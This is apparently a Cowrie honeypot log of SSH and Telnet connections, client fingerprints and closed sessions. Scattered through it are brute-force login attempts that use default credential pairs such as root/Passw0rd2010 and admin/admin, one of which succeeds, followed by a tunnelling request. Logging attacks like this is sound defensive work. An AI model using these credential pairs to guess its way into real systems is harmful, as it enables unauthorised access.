{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:11.401196Z","src_ip":"201.217.12.57","session":"77299b077deb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2010","message":"login attempt [root/Passw0rd2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:12.128593Z","src_ip":"201.217.12.57","session":"77299b077deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:13.316182Z","src_ip":"201.217.12.57","session":"77299b077deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.557392597198486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:23.454124Z","src_ip":"103.249.87.183","session":"1461f74b170e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8669376373291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:25.367808Z","src_ip":"103.249.87.183","session":"a83f7f65d778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":49834,"dst_ip":"159.203.135.109","dst_port":23,"session":"800e0241f363","protocol":"telnet","message":"New connection: 103.249.87.183:49834 (159.203.135.109:23) [session: 800e0241f363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:26.814178Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":50304,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b4136ab49bb","protocol":"telnet","message":"New connection: 103.249.87.183:50304 (159.203.135.109:23) [session: 6b4136ab49bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:27.503875Z"}
{"eventid":"cowrie.session.closed","duration":30.32825779914856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:57.142341Z","src_ip":"103.249.87.183","session":"800e0241f363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333658933639526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:58.837440Z","src_ip":"103.249.87.183","session":"6b4136ab49bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":41528,"dst_ip":"159.203.135.109","dst_port":23,"session":"61129c9a11ea","protocol":"telnet","message":"New connection: 103.249.87.183:41528 (159.203.135.109:23) [session: 61129c9a11ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:02.175449Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":47802,"dst_ip":"159.203.135.109","dst_port":22,"session":"115f19b3e919","protocol":"ssh","message":"New connection: 200.118.150.20:47802 (159.203.135.109:22) [session: 115f19b3e919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:04.593540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:04.601899Z","src_ip":"200.118.150.20","session":"115f19b3e919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:04.694880Z","src_ip":"200.118.150.20","session":"115f19b3e919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxadmin","password":"admin","message":"login attempt [vboxadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:05.079540Z","src_ip":"200.118.150.20","session":"115f19b3e919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":43630,"dst_ip":"159.203.135.109","dst_port":23,"session":"c05a907194cd","protocol":"telnet","message":"New connection: 103.249.87.183:43630 (159.203.135.109:23) [session: c05a907194cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:05.622183Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:06.171203Z","src_ip":"200.118.150.20","session":"115f19b3e919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":44626,"dst_ip":"159.203.135.109","dst_port":23,"session":"329a23d8b065","protocol":"telnet","message":"New connection: 103.249.87.183:44626 (159.203.135.109:23) [session: 329a23d8b065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:07.478315Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":45162,"dst_ip":"159.203.135.109","dst_port":23,"session":"e35e9b01bc09","protocol":"telnet","message":"New connection: 103.249.87.183:45162 (159.203.135.109:23) [session: e35e9b01bc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:08.200723Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":49132,"dst_ip":"159.203.135.109","dst_port":23,"session":"0238759a6371","protocol":"telnet","message":"New connection: 103.249.87.183:49132 (159.203.135.109:23) [session: 0238759a6371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:14.719774Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":53058,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae7f890f7fe9","protocol":"ssh","message":"New connection: 181.123.136.11:53058 (10.17.0.5:22) [session: ae7f890f7fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:17.087361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:17.097166Z","src_ip":"181.123.136.11","session":"ae7f890f7fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:17.266793Z","src_ip":"181.123.136.11","session":"ae7f890f7fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"freebsd","message":"login attempt [root/freebsd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:17.939136Z","src_ip":"181.123.136.11","session":"ae7f890f7fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:19.113718Z","src_ip":"181.123.136.11","session":"ae7f890f7fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53064,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d386f9a9fb","protocol":"ssh","message":"New connection: 194.59.206.2:53064 (10.17.0.5:22) [session: 20d386f9a9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:19.177250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:19.182833Z","src_ip":"194.59.206.2","session":"20d386f9a9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:19.268443Z","src_ip":"194.59.206.2","session":"20d386f9a9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:19.358624Z","src_ip":"194.59.206.2","session":"20d386f9a9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":56747,"dst_ip":"159.203.135.109","dst_port":23,"session":"9433db65932d","protocol":"telnet","message":"New connection: 103.249.87.183:56747 (159.203.135.109:23) [session: 9433db65932d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:27.827919Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":57660,"dst_ip":"159.203.135.109","dst_port":23,"session":"2469d9f9e5a2","protocol":"telnet","message":"New connection: 103.249.87.183:57660 (159.203.135.109:23) [session: 2469d9f9e5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:29.280962Z"}
{"eventid":"cowrie.session.closed","duration":31.335561990737915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:33.510848Z","src_ip":"103.249.87.183","session":"61129c9a11ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715704917907715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:36.337797Z","src_ip":"103.249.87.183","session":"c05a907194cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886966466903687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:38.365128Z","src_ip":"103.249.87.183","session":"329a23d8b065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.317464590072632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:39.518068Z","src_ip":"103.249.87.183","session":"e35e9b01bc09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":36252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7d3ed933617","protocol":"telnet","message":"New connection: 103.249.87.183:36252 (159.203.135.109:23) [session: c7d3ed933617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:41.307738Z"}
{"eventid":"cowrie.session.closed","duration":31.105677127838135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:45.825277Z","src_ip":"103.249.87.183","session":"0238759a6371","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":39440,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a1cf5c5de58","protocol":"telnet","message":"New connection: 103.249.87.183:39440 (159.203.135.109:23) [session: 6a1cf5c5de58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:46.652939Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":40242,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad009879931","protocol":"telnet","message":"New connection: 103.249.87.183:40242 (159.203.135.109:23) [session: aad009879931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:47.917766Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44304,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa3645112425","protocol":"ssh","message":"New connection: 193.32.162.145:44304 (10.17.0.5:22) [session: aa3645112425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:48.512077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:48.516792Z","src_ip":"193.32.162.145","session":"aa3645112425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:48.618268Z","src_ip":"193.32.162.145","session":"aa3645112425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:48.931675Z","src_ip":"193.32.162.145","session":"aa3645112425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:50.054470Z","src_ip":"193.32.162.145","session":"aa3645112425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":42126,"dst_ip":"159.203.135.109","dst_port":23,"session":"28433c0bc239","protocol":"telnet","message":"New connection: 103.249.87.183:42126 (159.203.135.109:23) [session: 28433c0bc239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:50.764472Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":42330,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d87bac84f2d","protocol":"telnet","message":"New connection: 103.249.87.183:42330 (159.203.135.109:23) [session: 0d87bac84f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.054543Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7806,"dst_ip":"10.17.0.5","dst_port":22,"session":"48bb15300d5a","protocol":"ssh","message":"New connection: 87.251.64.176:7806 (10.17.0.5:22) [session: 48bb15300d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.234071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.238735Z","src_ip":"87.251.64.176","session":"48bb15300d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.334528Z","src_ip":"87.251.64.176","session":"48bb15300d5a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.623371Z","src_ip":"87.251.64.176","session":"48bb15300d5a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:13:51.722285Z","session":"48bb15300d5a","protocol":"ssh"}
